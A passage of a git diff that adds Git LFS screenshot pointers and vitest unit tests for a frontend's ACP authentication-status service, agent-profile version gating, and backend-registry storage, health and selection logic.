+.github/pr-assets/pr-16605-test-results.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-02-templates.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16860-02-recommended-facet.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-04-edit-modal.png filter=lfs diff=lfs merge=lfs -text
diff --git a/.github/pr-assets/pr-16268-02-lightbox-open.png b/.github/pr-assets/pr-16268-02-lightbox-open.png
new file mode 100644
index 0000000000000000000000000000000000000000..08e4f0e6e4e9d372edb462251538b8575c9205c7
--- /dev/null
+++ b/.github/pr-assets/pr-16268-02-lightbox-open.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:290462f47a19b9068b50dd239d134728acadf719356f8822ff6cece05c7d16f7
+size 323318
diff --git a/.github/pr-assets/pr-16605-test-results.png b/.github/pr-assets/pr-16605-test-results.png
new file mode 100644
index 0000000000000000000000000000000000000000..3d442a461a1b8d0430f122c6a3fd15c16dd1469a
--- /dev/null
+++ b/.github/pr-assets/pr-16605-test-results.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:21d841229bb786493fcc05019f5c80d30d8e159df437691c0010699e7a9d4335
+size 223282
diff --git a/.github/pr-assets/pr-16676-01-list.png b/.github/pr-assets/pr-16676-01-list.png
new file mode 100644
index 0000000000000000000000000000000000000000..012ecdb72cc386fdf904ccdc921a71642fa28aa5
--- /dev/null
+++ b/.github/pr-assets/pr-16676-01-list.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:eb03768fbc1ae545cbbd9729b3cc2b47bac81ac060a42a3a45fe1e3859529766
+size 132304
diff --git a/.github/pr-assets/pr-16676-02-templates.png b/.github/pr-assets/pr-16676-02-templates.png
new file mode 100644
index 0000000000000000000000000000000000000000..60fb9f1ee4e75ad86898ae4025dd8800f51c9602
--- /dev/null
+++ b/.github/pr-assets/pr-16676-02-templates.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:944b74529e6354b31e1f11a603b27bec1a5b3dd9d4ef3c426844b630159aa681
+size 140840
diff --git a/.github/pr-assets/pr-16676-04-edit-modal.png b/.github/pr-assets/pr-16676-04-edit-modal.png
new file mode 100644
index 0000000000000000000000000000000000000000..694a5deadd397773817d6b5e68572ace5241b326
--- /dev/null
+++ b/.github/pr-assets/pr-16676-04-edit-modal.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:9cd4a0f47d9e1160f6af61c085a2aa7c8ba3e95bdd5aa28005a45917936c091e
+size 102535
diff --git a/.github/pr-assets/pr-16860-01-skills-default.png b/.github/pr-assets/pr-16860-01-skills-default.png
new file mode 100644
index 0000000000000000000000000000000000000000..bd9c0cb871b873f017c405715631e1f5dfe70901
--- /dev/null
+++ b/.github/pr-assets/pr-16860-01-skills-default.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:dd2806c5c395b80901182cbbaceeb72ff0c50dba4ed1b7c5883f20f71c891c62
+size 201598
diff --git a/.github/pr-assets/pr-16860-02-recommended-facet.png b/.github/pr-assets/pr-16860-02-recommended-facet.png
new file mode 100644
index 0000000000000000000000000000000000000000..46e123667e45d0a9fc0a7a26fc9a721aa00ffb87
--- /dev/null
+++ b/.github/pr-assets/pr-16860-02-recommended-facet.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:fb6cb1e3c785167c74e21d4585fb4905b09c285f48a3dec65fc435548f043731
+size 204087
diff --git a/__tests__/api/acp-service/acp-service.api.test.ts b/__tests__/api/acp-service/acp-service.api.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d35a2b6cfcba3006e0ab2c876d63383c5ba2e741
--- /dev/null
+++ b/__tests__/api/acp-service/acp-service.api.test.ts
@@ -0,0 +1,130 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import type { BashOutput } from "@openhands/typescript-client";
+import AcpService from "#/api/acp-service/acp-service.api";
+
+// Capture the command the service runs and control the BashOutput it sees.
+const executeCommand = vi.hoisted(() => vi.fn());
+vi.mock("@openhands/typescript-client/clients", () => ({
+ BashClient: class {
+ executeCommand = executeCommand;
+ },
+}));
+vi.mock("#/api/agent-server-client-options", () => ({
+ getAgentServerClientOptions: () => ({
+ host: "http://localhost",
+ workingDir: "/",
+ }),
+}));
+
+function bashOutput(partial: Partial): BashOutput {
+ return {
+ id: "1",
+ timestamp: "2026-01-01T00:00:00Z",
+ command_id: "c1",
+ order: 0,
+ exit_code: 0,
+ stdout: null,
+ stderr: null,
+ kind: "BashOutput",
+ ...partial,
+ } as BashOutput;
+}
+
+beforeEach(() => vi.clearAllMocks());
+
+describe("AcpService.getAuthStatus", () => {
+ describe("claude-code (claude auth status --json)", () => {
+ it("runs the right command and maps loggedIn:true → authenticated", async () => {
+ executeCommand.mockResolvedValue(
+ bashOutput({
+ stdout: JSON.stringify({ loggedIn: true, authMethod: "claude.ai" }),
+ }),
+ );
+ await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+ "authenticated",
+ );
+ expect(executeCommand).toHaveBeenCalledWith(
+ "claude auth status --json",
+ undefined,
+ expect.any(Number),
+ );
+ });
+
+ it("maps loggedIn:false (even with a non-zero exit) → unauthenticated", async () => {
+ executeCommand.mockResolvedValue(
+ bashOutput({
+ stdout: JSON.stringify({ loggedIn: false }),
+ exit_code: 1,
+ }),
+ );
+ await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+ "unauthenticated",
+ );
+ });
+
+ it("→ unknown when the CLI is missing (exit 127, no JSON on stdout)", async () => {
+ // The "no available ACP process / CLI not installed" path.
+ executeCommand.mockResolvedValue(
+ bashOutput({
+ exit_code: 127,
+ stderr: "env: claude: No such file or directory",
+ }),
+ );
+ await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+ "unknown",
+ );
+ });
+ });
+
+ describe("codex (codex login status)", () => {
+ it("→ authenticated even though the CLI writes to stderr", async () => {
+ executeCommand.mockResolvedValue(
+ bashOutput({ stderr: "Logged in using ChatGPT\n" }),
+ );
+ await expect(AcpService.getAuthStatus("codex")).resolves.toBe(
+ "authenticated",
+ );
+ });
+
+ it("→ unauthenticated on 'Not logged in'", async () => {
+ executeCommand.mockResolvedValue(
+ bashOutput({ stderr: "Not logged in\n" }),
+ );
+ await expect(AcpService.getAuthStatus("codex")).resolves.toBe(
+ "unauthenticated",
+ );
+ });
+
+ it("→ unknown when the CLI is missing", async () => {
+ executeCommand.mockResolvedValue(
+ bashOutput({ exit_code: 127, stderr: "codex: command not found" }),
+ );
+ await expect(AcpService.getAuthStatus("codex")).resolves.toBe("unknown");
+ });
+ });
+
+ describe("gemini-cli (credentials file check)", () => {
+ it("→ authenticated when the creds file is present", async () => {
+ executeCommand.mockResolvedValue(bashOutput({ stdout: "present\n" }));
+ await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe(
+ "authenticated",
+ );
+ // Probes the OAuth creds file, not a (nonexistent) gemini status command.
+ expect(executeCommand.mock.calls[0][0]).toContain("oauth_creds.json");
+ });
+
+ it("→ unauthenticated when the creds file is absent", async () => {
+ executeCommand.mockResolvedValue(bashOutput({ stdout: "absent\n" }));
+ await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe(
+ "unauthenticated",
+ );
+ });
+ });
+
+ it("→ unknown for an unprobeable provider, without running any command", async () => {
+ await expect(AcpService.getAuthStatus("openhands")).resolves.toBe(
+ "unknown",
+ );
+ expect(executeCommand).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/api/agent-profiles-service/profile-field-support.test.ts b/__tests__/api/agent-profiles-service/profile-field-support.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d2635197abe4e5599a4b14469e20fa4f77c04a40
--- /dev/null
+++ b/__tests__/api/agent-profiles-service/profile-field-support.test.ts
@@ -0,0 +1,59 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ MIN_AGENT_SERVER_VERSION_FOR_PROFILE_SWITCH_LLM_TOOL,
+ agentProfileSupportsSwitchLlmTool,
+} from "#/api/agent-profiles-service/profile-field-support";
+
+const mockGetCachedAgentServerVersion = vi.fn<() => string | null>();
+
+// Only the version *lookup* is mocked — the comparison stays the real one so
+// these cases exercise the same parser the boot-time compatibility check uses.
+vi.mock("#/api/agent-server-compatibility", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ getCachedAgentServerVersion: () => mockGetCachedAgentServerVersion(),
+ };
+});
+
+describe("agentProfileSupportsSwitchLlmTool", () => {
+ beforeEach(() => {
+ mockGetCachedAgentServerVersion.mockReset();
+ });
+
+ it("pins the gate to the release that added the profile field", () => {
+ expect(MIN_AGENT_SERVER_VERSION_FOR_PROFILE_SWITCH_LLM_TOOL).toBe("1.31.0");
+ });
+
+ it.each(["1.29.0", "1.29.3", "1.30.0"])(
+ "reports no support on %s, where agent profiles exist but the field does not",
+ (version) => {
+ mockGetCachedAgentServerVersion.mockReturnValue(version);
+ expect(agentProfileSupportsSwitchLlmTool()).toBe(false);
+ },
+ );
+
+ it.each(["1.31.0", "1.31.2", "1.36.1", "2.0.0"])(
+ "reports support on %s",
+ (version) => {
+ mockGetCachedAgentServerVersion.mockReturnValue(version);
+ expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+ },
+ );
+
+ it("treats a prerelease of the gating version as older", () => {
+ mockGetCachedAgentServerVersion.mockReturnValue("1.31.0-rc.1");
+ expect(agentProfileSupportsSwitchLlmTool()).toBe(false);
+ });
+
+ it("assumes support when no version is cached (cloud backends)", () => {
+ mockGetCachedAgentServerVersion.mockReturnValue(null);
+ expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+ });
+
+ it("assumes support when the reported version does not parse", () => {
+ mockGetCachedAgentServerVersion.mockReturnValue("main");
+ expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+ });
+});
diff --git a/__tests__/api/backend-registry/active-store.test.ts b/__tests__/api/backend-registry/active-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..5c8e06db69e4f62ee0b5973f25c1036ba82b0536
--- /dev/null
+++ b/__tests__/api/backend-registry/active-store.test.ts
@@ -0,0 +1,263 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ getActiveBackend,
+ getEffectiveLocalBackend,
+ NO_BACKEND_ID,
+ setActiveSelection,
+ setRegisteredBackends,
+ subscribeActiveBackend,
+} from "#/api/backend-registry/active-store";
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import { MAX_CONSECUTIVE_FAILURES } from "#/api/backend-registry/health-storage";
+import {
+ __resetHealthStoreForTests,
+ recordBackendFailure,
+} from "#/api/backend-registry/health-store";
+import {
+ ACTIVE_BACKEND_STORAGE_KEY,
+ BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import {
+ BACKEND_QUERY_PARAM,
+ ORG_QUERY_PARAM,
+} from "#/api/backend-registry/url-selection";
+import type { Backend } from "#/api/backend-registry/types";
+
+beforeEach(() => {
+ window.localStorage.clear();
+ window.sessionStorage.clear();
+ __resetHealthStoreForTests();
+ __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ window.sessionStorage.clear();
+ vi.unstubAllEnvs();
+ __resetHealthStoreForTests();
+ __resetActiveStoreForTests();
+});
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+};
+
+const localBackend: Backend = {
+ id: "local-1",
+ name: "Local 1",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+};
+
+const secondLocalBackend: Backend = {
+ id: "local-2",
+ name: "Local 2",
+ host: "http://localhost:9001",
+ apiKey: "k2",
+ kind: "local",
+};
+
+function markBackendUnhealthy(id: string): void {
+ for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+ recordBackendFailure(id, new Error("connection failed"));
+ }
+}
+
+describe("active-store", () => {
+ it("uses the no-backend sentinel when no backend details are available", () => {
+ window.localStorage.clear();
+ window.sessionStorage.clear();
+ vi.stubEnv("VITE_SESSION_API_KEY", "");
+ __resetActiveStoreForTests();
+
+ const { backend, orgId } = getActiveBackend();
+ expect(backend.id).toBe(NO_BACKEND_ID);
+ expect(orgId).toBeNull();
+ });
+
+ it("seeds the registry with a default local backend when host and API key are available", () => {
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+ vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+ __resetActiveStoreForTests();
+
+ const { backend, orgId } = getActiveBackend();
+ expect(backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID);
+ expect(backend.kind).toBe("local");
+ expect(orgId).toBeNull();
+ });
+
+ it("returns the registered backend matching the active selection", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+ const { backend, orgId } = getActiveBackend();
+ expect(backend).toEqual(cloudBackend);
+ expect(orgId).toBe("org-2");
+ });
+
+ it("falls back to the first local backend when the active selection points at a removed entry", () => {
+ setRegisteredBackends([cloudBackend, localBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+ setRegisteredBackends([localBackend]);
+
+ expect(getActiveBackend().backend).toEqual(localBackend);
+ expect(getActiveBackend().orgId).toBeNull();
+ });
+
+ it("falls back to a healthy local backend when a cloud backend is registered first", () => {
+ setRegisteredBackends([cloudBackend, localBackend]);
+ setActiveSelection(null);
+
+ expect(getActiveBackend().backend).toEqual(localBackend);
+ });
+
+ it("skips an unhealthy local backend in favor of a healthy one further down", () => {
+ markBackendUnhealthy(localBackend.id);
+ setRegisteredBackends([localBackend, secondLocalBackend]);
+ setActiveSelection(null);
+
+ expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+ });
+
+ it("still selects a local backend when every local backend is unhealthy", () => {
+ markBackendUnhealthy(localBackend.id);
+ markBackendUnhealthy(secondLocalBackend.id);
+ setRegisteredBackends([cloudBackend, localBackend, secondLocalBackend]);
+ setActiveSelection(null);
+
+ const { backend } = getActiveBackend();
+ expect(backend.kind).toBe("local");
+ expect(backend.id).not.toBe(NO_BACKEND_ID);
+ // Deterministic: first local backend in insertion order.
+ expect(backend).toEqual(localBackend);
+ });
+
+ it("selects a single healthy local backend at the first registry position", () => {
+ setRegisteredBackends([localBackend]);
+ setActiveSelection(null);
+
+ expect(getActiveBackend().backend).toEqual(localBackend);
+ });
+
+ it("falls back to the first registered backend when the registry has no local entry", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection(null);
+
+ expect(getActiveBackend().backend).toEqual(cloudBackend);
+ });
+
+ it("uses the active local backend as the effective local backend", () => {
+ setRegisteredBackends([localBackend, cloudBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+
+ expect(getEffectiveLocalBackend()).toEqual(localBackend);
+ });
+
+ it("does not borrow a registered local backend when the active backend is cloud", () => {
+ setRegisteredBackends([localBackend, cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ expect(getEffectiveLocalBackend()).toBeNull();
+ });
+
+ it("keeps an explicit cloud selection even when a healthy local backend exists", () => {
+ setRegisteredBackends([localBackend, cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+ const { backend, orgId } = getActiveBackend();
+ expect(backend).toEqual(cloudBackend);
+ expect(orgId).toBe("org-2");
+ });
+
+ it("notifies subscribers when selection changes", () => {
+ const listener = vi.fn();
+ const unsubscribe = subscribeActiveBackend(listener);
+
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ expect(listener).toHaveBeenCalled();
+
+ unsubscribe();
+ listener.mockClear();
+ setActiveSelection(null);
+ expect(listener).not.toHaveBeenCalled();
+ });
+});
+
+describe("backend pinned in the URL", () => {
+ function seedRegistry(backends: Backend[], selection: string) {
+ window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify(backends));
+ window.localStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: selection, orgId: null }),
+ );
+ }
+
+ function bootAt(search: string) {
+ window.history.replaceState({}, "", `/conversations/abc${search}`);
+ __resetActiveStoreForTests();
+ }
+
+ afterEach(() => {
+ window.history.replaceState({}, "", "/");
+ });
+
+ it("boots on the backend named in the URL instead of the stored one", () => {
+ seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+
+ bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+ expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+ });
+
+ it("persists the pinned selection so later in-tab navigation keeps it", () => {
+ seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+
+ bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+ expect(
+ JSON.parse(
+ window.sessionStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY) ?? "null",
+ ),
+ ).toEqual({ backendId: secondLocalBackend.id, orgId: null });
+ });
+
+ it("carries the org id for a cloud backend", () => {
+ seedRegistry([localBackend, cloudBackend], localBackend.id);
+
+ bootAt(
+ `?${BACKEND_QUERY_PARAM}=${cloudBackend.id}&${ORG_QUERY_PARAM}=org-9`,
+ );
+
+ const { backend, orgId } = getActiveBackend();
+ expect(backend).toEqual(cloudBackend);
+ expect(orgId).toBe("org-9");
+ });
+
+ it("falls back to the stored selection when the URL names an unknown backend", () => {
+ seedRegistry([localBackend, secondLocalBackend], secondLocalBackend.id);
+
+ bootAt(`?${BACKEND_QUERY_PARAM}=removed-backend`);
+
+ expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+ });
+
+ it("prefers the URL over a tab-scoped sessionStorage selection", () => {
+ seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+ window.sessionStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: localBackend.id, orgId: null }),
+ );
+
+ bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+ expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+ });
+});
diff --git a/__tests__/api/backend-registry/health-store.test.ts b/__tests__/api/backend-registry/health-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d6788332c8cfbb82ef51fcf1287781cd4cc4e9b8
--- /dev/null
+++ b/__tests__/api/backend-registry/health-store.test.ts
@@ -0,0 +1,111 @@
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+ BACKEND_HEALTH_STORAGE_KEY,
+ MAX_CONSECUTIVE_FAILURES,
+} from "#/api/backend-registry/health-storage";
+import {
+ __resetHealthStoreForTests,
+ getBackendHealthEntry,
+ recordBackendFailure,
+ recordBackendSuccess,
+ resetBackendHealth,
+ subscribeBackendHealth,
+} from "#/api/backend-registry/health-store";
+
+const BACKEND_ID = "backend-under-test";
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetHealthStoreForTests();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetHealthStoreForTests();
+});
+
+describe("backend health store", () => {
+ it("increments the failure count and persists to localStorage without disabling polling below the cap", () => {
+ // Arrange / Act
+ recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED"));
+ recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED"));
+
+ // Assert
+ const entry = getBackendHealthEntry(BACKEND_ID);
+ expect(entry).toMatchObject({
+ consecutiveFailures: 2,
+ disabled: false,
+ lastError: "ECONNREFUSED",
+ });
+
+ const persisted = JSON.parse(
+ window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+ );
+ expect(persisted[BACKEND_ID]).toMatchObject({
+ consecutiveFailures: 2,
+ disabled: false,
+ });
+ });
+
+ it("flips disabled=true once consecutive failures hit the cap and persists that flag", () => {
+ // Arrange / Act
+ for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+ recordBackendFailure(BACKEND_ID, new Error("timeout"));
+ }
+
+ // Assert — the cap is reached; polling-consumers will see disabled.
+ const entry = getBackendHealthEntry(BACKEND_ID);
+ expect(entry?.consecutiveFailures).toBe(MAX_CONSECUTIVE_FAILURES);
+ expect(entry?.disabled).toBe(true);
+
+ const persisted = JSON.parse(
+ window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+ );
+ expect(persisted[BACKEND_ID].disabled).toBe(true);
+ });
+
+ it("caps the failure count at the max when a disabled backend fails another recheck", () => {
+ for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+ recordBackendFailure(BACKEND_ID, new Error("timeout"));
+ }
+
+ recordBackendFailure(BACKEND_ID, new Error("still down"));
+
+ const entry = getBackendHealthEntry(BACKEND_ID);
+ expect(entry).toMatchObject({
+ consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+ disabled: true,
+ lastError: "still down",
+ });
+
+ const persisted = JSON.parse(
+ window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+ );
+ expect(persisted[BACKEND_ID].consecutiveFailures).toBe(
+ MAX_CONSECUTIVE_FAILURES,
+ );
+ });
+
+ it("clears the entry (and storage) and notifies subscribers when the backend recovers or the user edits its config", () => {
+ // Arrange — record one failure so there is something to clear, and
+ // subscribe so we can confirm listeners get notified.
+ recordBackendFailure(BACKEND_ID, new Error("boom"));
+ let notifications = 0;
+ const unsubscribe = subscribeBackendHealth(() => {
+ notifications += 1;
+ });
+
+ // Act — `recordBackendSuccess` (probe recovers) and
+ // `resetBackendHealth` (user edits host/apiKey) share the same
+ // clear-entry semantics, so we cover both in one go.
+ recordBackendSuccess(BACKEND_ID);
+ recordBackendFailure(BACKEND_ID, new Error("again"));
+ resetBackendHealth(BACKEND_ID);
+ unsubscribe();
+
+ // Assert
+ expect(getBackendHealthEntry(BACKEND_ID)).toBeNull();
+ expect(window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY)).toBeNull();
+ expect(notifications).toBeGreaterThanOrEqual(3);
+ });
+});
diff --git a/__tests__/api/backend-registry/last-conversation-store.test.ts b/__tests__/api/backend-registry/last-conversation-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..dbede7ef7e0e0e0313987de3f2c1015364262cc1
--- /dev/null
+++ b/__tests__/api/backend-registry/last-conversation-store.test.ts
@@ -0,0 +1,67 @@
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+ clearLastConversationId,
+ getLastConversationId,
+ LAST_CONVERSATION_STORAGE_KEY,
+ setLastConversationId,
+} from "#/api/backend-registry/last-conversation-store";
+
+beforeEach(() => {
+ window.localStorage.clear();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+});
+
+describe("last-conversation-store", () => {
+ it("returns null when nothing has been remembered for a backend", () => {
+ expect(getLastConversationId("backend-a", null)).toBeNull();
+ });
+
+ it("remembers and reads back the most recently selected conversation per backend", () => {
+ setLastConversationId("backend-a", null, "convo-a-1");
+ setLastConversationId("backend-b", null, "convo-b-1");
+
+ expect(getLastConversationId("backend-a", null)).toBe("convo-a-1");
+ expect(getLastConversationId("backend-b", null)).toBe("convo-b-1");
+
+ // The most recent selection wins.
+ setLastConversationId("backend-a", null, "convo-a-2");
+ expect(getLastConversationId("backend-a", null)).toBe("convo-a-2");
+ // …without affecting other backends.
+ expect(getLastConversationId("backend-b", null)).toBe("convo-b-1");
+ });
+
+ it("keys cloud backends by (backendId, orgId) so each org gets its own slot", () => {
+ setLastConversationId("cloud-x", "org-1", "convo-org-1");
+ setLastConversationId("cloud-x", "org-2", "convo-org-2");
+
+ expect(getLastConversationId("cloud-x", "org-1")).toBe("convo-org-1");
+ expect(getLastConversationId("cloud-x", "org-2")).toBe("convo-org-2");
+ expect(getLastConversationId("cloud-x", null)).toBeNull();
+ });
+
+ it("clears a backend's slot without touching others", () => {
+ setLastConversationId("backend-a", null, "convo-a");
+ setLastConversationId("backend-b", null, "convo-b");
+
+ clearLastConversationId("backend-a", null);
+
+ expect(getLastConversationId("backend-a", null)).toBeNull();
+ expect(getLastConversationId("backend-b", null)).toBe("convo-b");
+ });
+
+ it("ignores empty conversation ids on write", () => {
+ setLastConversationId("backend-a", null, "");
+ expect(getLastConversationId("backend-a", null)).toBeNull();
+ });
+
+ it("survives malformed JSON in storage", () => {
+ window.localStorage.setItem(LAST_CONVERSATION_STORAGE_KEY, "not-json");
+ expect(getLastConversationId("backend-a", null)).toBeNull();
+ // A subsequent write recovers the storage shape.
+ setLastConversationId("backend-a", null, "convo-a");
+ expect(getLastConversationId("backend-a", null)).toBe("convo-a");
+ });
+});
diff --git a/__tests__/api/backend-registry/storage.test.ts b/__tests__/api/backend-registry/storage.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..fb508db72c3663e0d663d87f22a32e4ce40cf543
--- /dev/null
+++ b/__tests__/api/backend-registry/storage.test.ts
@@ -0,0 +1,365 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+ ACTIVE_BACKEND_STORAGE_KEY,
+ BACKENDS_STORAGE_KEY,
+ readStoredActiveBackend,
+ readStoredBackends,
+ writeStoredActiveBackend,
+ writeStoredBackends,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const ORIGINAL_LOCATION = window.location;
+
+function mockWindowLocation(url: string) {
+ Object.defineProperty(window, "location", {
+ configurable: true,
+ value: new URL(url),
+ });
+}
+
+afterEach(() => {
+ window.localStorage.clear();
+ window.sessionStorage.clear();
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+ Object.defineProperty(window, "location", {
+ configurable: true,
+ value: ORIGINAL_LOCATION,
+ });
+ window.history.pushState({}, "", "/");
+ vi.unstubAllEnvs();
+});
+
+describe("backend-registry storage", () => {
+ it("round-trips a list of backends", () => {
+ const backends: Backend[] = [
+ {
+ id: "abc",
+ name: "Local 1",
+ host: "http://127.0.0.1:9000",
+ apiKey: "key-1",
+ kind: "local",
+ },
+ {
+ id: "xyz",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-2",
+ kind: "cloud",
+ },
+ ];
+
+ writeStoredBackends(backends);
+
+ expect(readStoredBackends()).toEqual(backends);
+ });
+
+ it("returns empty list when storage is malformed", () => {
+ window.localStorage.setItem(BACKENDS_STORAGE_KEY, "{not-json");
+ expect(readStoredBackends()).toEqual([]);
+ });
+
+ it("does not seed the default Local backend when launcher details are missing", () => {
+ vi.stubEnv("VITE_SESSION_API_KEY", "");
+ expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull();
+
+ expect(readStoredBackends()).toEqual([]);
+ expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull();
+ });
+
+ it("seeds the default Local backend when host and API key are available", () => {
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+ vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key");
+
+ const result = readStoredBackends();
+
+ expect(result).toHaveLength(1);
+ expect(result[0]).toMatchObject({
+ id: "default-local",
+ host: "http://localhost:9000",
+ apiKey: "fresh-session-key",
+ kind: "local",
+ });
+ expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toBeNull();
+ expect(readStoredBackends()).toEqual(result);
+ });
+
+ it("seeds a cookie-auth Cloud backend when locked to the current origin", () => {
+ (
+ window as unknown as Record
+ ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin;
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([
+ {
+ id: "stale-local",
+ name: "Stale Local",
+ host: "http://localhost:18000",
+ apiKey: "stale-session",
+ kind: "local",
+ },
+ ]),
+ );
+
+ const result = readStoredBackends();
+
+ expect(result).toEqual([
+ {
+ id: "locked-cloud",
+ name: "OpenHands Cloud",
+ host: window.location.origin,
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ },
+ ]);
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "locked-cloud",
+ orgId: null,
+ });
+ });
+
+ it("seeds the cookie-auth Cloud backend on the current origin when the locked host is an equivalent transition domain", () => {
+ mockWindowLocation("https://pr-254.staging.openhands.dev/canvas");
+ (
+ window as unknown as Record
+ ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://pr-254.staging.all-hands.dev";
+
+ expect(readStoredBackends()).toEqual([
+ {
+ id: "locked-cloud",
+ name: "OpenHands Cloud",
+ host: "https://pr-254.staging.openhands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ },
+ ]);
+ });
+
+ it("preserves an existing locked Cloud org selection while reseeding", () => {
+ (
+ window as unknown as Record
+ ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin;
+ writeStoredActiveBackend({ backendId: "locked-cloud", orgId: "org-1" });
+
+ expect(readStoredBackends()[0]).toMatchObject({ id: "locked-cloud" });
+ expect(readStoredActiveBackend()).toEqual({
+ backendId: "locked-cloud",
+ orgId: "org-1",
+ });
+ });
+
+ it("does not seed a cookie-auth Cloud backend when locked cross-origin", () => {
+ (
+ window as unknown as Record
+ ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://app.all-hands.dev";
+ vi.stubEnv("VITE_SESSION_API_KEY", "");
+
+ expect(readStoredBackends()).toEqual([]);
+ });
+
+ it("re-seeds the default Local backend when storage holds an empty array and launcher details are available", () => {
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
